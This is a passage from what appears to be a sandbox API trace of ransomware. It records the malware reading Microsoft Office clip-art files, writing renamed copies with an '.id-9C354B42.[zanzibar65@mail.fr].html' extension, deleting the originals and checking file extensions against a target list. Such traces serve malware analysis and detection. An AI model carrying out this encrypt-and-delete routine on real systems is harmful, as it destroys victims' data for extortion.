office\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0274.097] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.097] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0274.098] GetLastError () returned 0x0 [0274.098] ReadFile (in: hFile=0x39c, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0xbc8, lpOverlapped=0x0) returned 1 [0274.099] WriteFile (in: hFile=0x2f8, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0274.100] ReadFile (in: hFile=0x39c, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0274.100] WriteFile (in: hFile=0x2f8, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.100] SetEndOfFile (hFile=0x2f8) returned 1 [0274.100] CloseHandle (hObject=0x2f8) returned 1 [0274.100] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.100] SetEndOfFile (hFile=0x39c) returned 1 [0274.103] CloseHandle (hObject=0x39c) returned 1 [0274.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.104] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf")) returned 1 [0274.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0274.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0274.105] lstrlenW (lpString=".doc") returned 4 [0274.105] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.105] lstrlenW (lpString=".docx") returned 5 [0274.105] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.105] lstrlenW (lpString=".pdf") returned 4 [0274.105] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.105] lstrlenW (lpString=".xls") returned 4 [0274.105] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.105] lstrlenW (lpString=".xlsx") returned 5 [0274.105] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.105] lstrlenW (lpString=".ppt") returned 4 [0274.105] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0274.105] lstrlenW (lpString=".zip") returned 4 [0274.105] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.105] lstrlenW (lpString=".rar") returned 4 [0274.105] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.105] lstrlenW (lpString=".bz2") returned 4 [0274.105] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.105] lstrlenW (lpString=".7z") returned 3 [0274.105] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0274.105] lstrlenW (lpString=".dbf") returned 4 [0274.105] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0274.106] lstrlenW (lpString=".1cd") returned 4 [0274.106] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0274.106] lstrlenW (lpString=".jpg") returned 4 [0274.106] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0274.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0274.106] lstrlenW (lpString=".doc") returned 4 [0274.106] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.106] lstrlenW (lpString=".docx") returned 5 [0274.106] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.106] lstrlenW (lpString=".pdf") returned 4 [0274.106] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.106] lstrlenW (lpString=".xls") returned 4 [0274.106] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.106] lstrlenW (lpString=".xlsx") returned 5 [0274.106] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.106] lstrlenW (lpString=".ppt") returned 4 [0274.106] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0274.106] lstrlenW (lpString=".zip") returned 4 [0274.106] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.106] lstrlenW (lpString=".rar") returned 4 [0274.106] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.106] lstrlenW (lpString=".bz2") returned 4 [0274.106] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.106] lstrlenW (lpString=".7z") returned 3 [0274.106] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0274.106] lstrlenW (lpString=".dbf") returned 4 [0274.106] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0274.106] lstrlenW (lpString=".1cd") returned 4 [0274.107] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0274.107] lstrlenW (lpString=".jpg") returned 4 [0274.107] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.107] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.107] lstrlenW (lpString="HH00334_.WMF") returned 12 [0274.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0274.107] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=1528) returned 1 [0274.107] CloseHandle (hObject=0x39c) returned 1 [0274.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf")) returned 0x20 [0274.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0274.108] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.108] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0274.108] GetLastError () returned 0x0 [0274.108] ReadFile (in: hFile=0x39c, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x5f8, lpOverlapped=0x0) returned 1 [0274.109] WriteFile (in: hFile=0x2f8, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0x600, lpOverlapped=0x0) returned 1 [0274.110] ReadFile (in: hFile=0x39c, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0274.110] WriteFile (in: hFile=0x2f8, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.110] SetEndOfFile (hFile=0x2f8) returned 1 [0274.110] CloseHandle (hObject=0x2f8) returned 1 [0274.110] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.110] SetEndOfFile (hFile=0x39c) returned 1 [0274.113] CloseHandle (hObject=0x39c) returned 1 [0274.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.113] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf")) returned 1 [0274.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0274.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0274.114] lstrlenW (lpString=".doc") returned 4 [0274.114] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.114] lstrlenW (lpString=".docx") returned 5 [0274.114] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.114] lstrlenW (lpString=".pdf") returned 4 [0274.114] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.114] lstrlenW (lpString=".xls") returned 4 [0274.114] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.114] lstrlenW (lpString=".xlsx") returned 5 [0274.114] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.114] lstrlenW (lpString=".ppt") returned 4 [0274.114] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0274.114] lstrlenW (lpString=".zip") returned 4 [0274.114] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.114] lstrlenW (lpString=".rar") returned 4 [0274.114] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.114] lstrlenW (lpString=".bz2") returned 4 [0274.114] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.114] lstrlenW (lpString=".7z") returned 3 [0274.114] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0274.114] lstrlenW (lpString=".dbf") returned 4 [0274.114] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0274.115] lstrlenW (lpString=".1cd") returned 4 [0274.115] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0274.115] lstrlenW (lpString=".jpg") returned 4 [0274.115] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0274.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0274.115] lstrlenW (lpString=".doc") returned 4 [0274.115] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.115] lstrlenW (lpString=".docx") returned 5 [0274.175] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.175] lstrlenW (lpString=".pdf") returned 4 [0274.175] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.175] lstrlenW (lpString=".xls") returned 4 [0274.175] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.175] lstrlenW (lpString=".xlsx") returned 5 [0274.175] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.175] lstrlenW (lpString=".ppt") returned 4 [0274.175] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0274.175] lstrlenW (lpString=".zip") returned 4 [0274.175] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.175] lstrlenW (lpString=".rar") returned 4 [0274.175] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.175] lstrlenW (lpString=".bz2") returned 4 [0274.175] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.175] lstrlenW (lpString=".7z") returned 3 [0274.175] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0274.176] lstrlenW (lpString=".dbf") returned 4 [0274.176] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0274.176] lstrlenW (lpString=".1cd") returned 4 [0274.176] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0274.176] lstrlenW (lpString=".jpg") returned 4 [0274.176] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.176] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.176] lstrlenW (lpString="HH00524_.WMF") returned 12 [0274.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0274.246] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=14688) returned 1 [0274.246] CloseHandle (hObject=0x2e4) returned 1 [0274.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf")) returned 0x20 [0274.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0274.377] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.377] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.505] GetLastError () returned 0x0 [0274.505] ReadFile (in: hFile=0x38c, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x3960, lpOverlapped=0x0) returned 1 [0274.507] WriteFile (in: hFile=0x3a0, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0x3970, lpOverlapped=0x0) returned 1 [0274.507] ReadFile (in: hFile=0x38c, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0274.507] WriteFile (in: hFile=0x3a0, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.508] SetEndOfFile (hFile=0x3a0) returned 1 [0274.508] CloseHandle (hObject=0x3a0) returned 1 [0274.508] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.508] SetEndOfFile (hFile=0x38c) returned 1 [0274.510] CloseHandle (hObject=0x38c) returned 1 [0274.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.530] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf")) returned 1 [0274.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0274.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0274.542] lstrlenW (lpString=".doc") returned 4 [0274.542] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.542] lstrlenW (lpString=".docx") returned 5 [0274.542] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.542] lstrlenW (lpString=".pdf") returned 4 [0274.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.542] lstrlenW (lpString=".xls") returned 4 [0274.542] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.542] lstrlenW (lpString=".xlsx") returned 5 [0274.542] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.542] lstrlenW (lpString=".ppt") returned 4 [0274.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0274.542] lstrlenW (lpString=".zip") returned 4 [0274.542] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.542] lstrlenW (lpString=".rar") returned 4 [0274.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.542] lstrlenW (lpString=".bz2") returned 4 [0274.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.542] lstrlenW (lpString=".7z") returned 3 [0274.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0274.543] lstrlenW (lpString=".dbf") returned 4 [0274.543] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0274.543] lstrlenW (lpString=".1cd") returned 4 [0274.543] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0274.543] lstrlenW (lpString=".jpg") returned 4 [0274.543] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0274.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0274.543] lstrlenW (lpString=".doc") returned 4 [0274.543] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.543] lstrlenW (lpString=".docx") returned 5 [0274.543] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.543] lstrlenW (lpString=".pdf") returned 4 [0274.543] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.543] lstrlenW (lpString=".xls") returned 4 [0274.543] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.543] lstrlenW (lpString=".xlsx") returned 5 [0274.543] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.543] lstrlenW (lpString=".ppt") returned 4 [0274.543] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0274.544] lstrlenW (lpString=".zip") returned 4 [0274.544] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.544] lstrlenW (lpString=".rar") returned 4 [0274.544] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.544] lstrlenW (lpString=".bz2") returned 4 [0274.544] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.544] lstrlenW (lpString=".7z") returned 3 [0274.544] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0274.544] lstrlenW (lpString=".dbf") returned 4 [0274.544] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0274.544] lstrlenW (lpString=".1cd") returned 4 [0274.544] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0274.544] lstrlenW (lpString=".jpg") returned 4 [0274.544] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.544] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.544] lstrlenW (lpString="HH00625_.WMF") returned 12 [0274.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0274.605] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=2116) returned 1 [0274.605] CloseHandle (hObject=0x3a4) returned 1 [0274.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf")) returned 0x20 [0274.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0274.606] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.606] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft 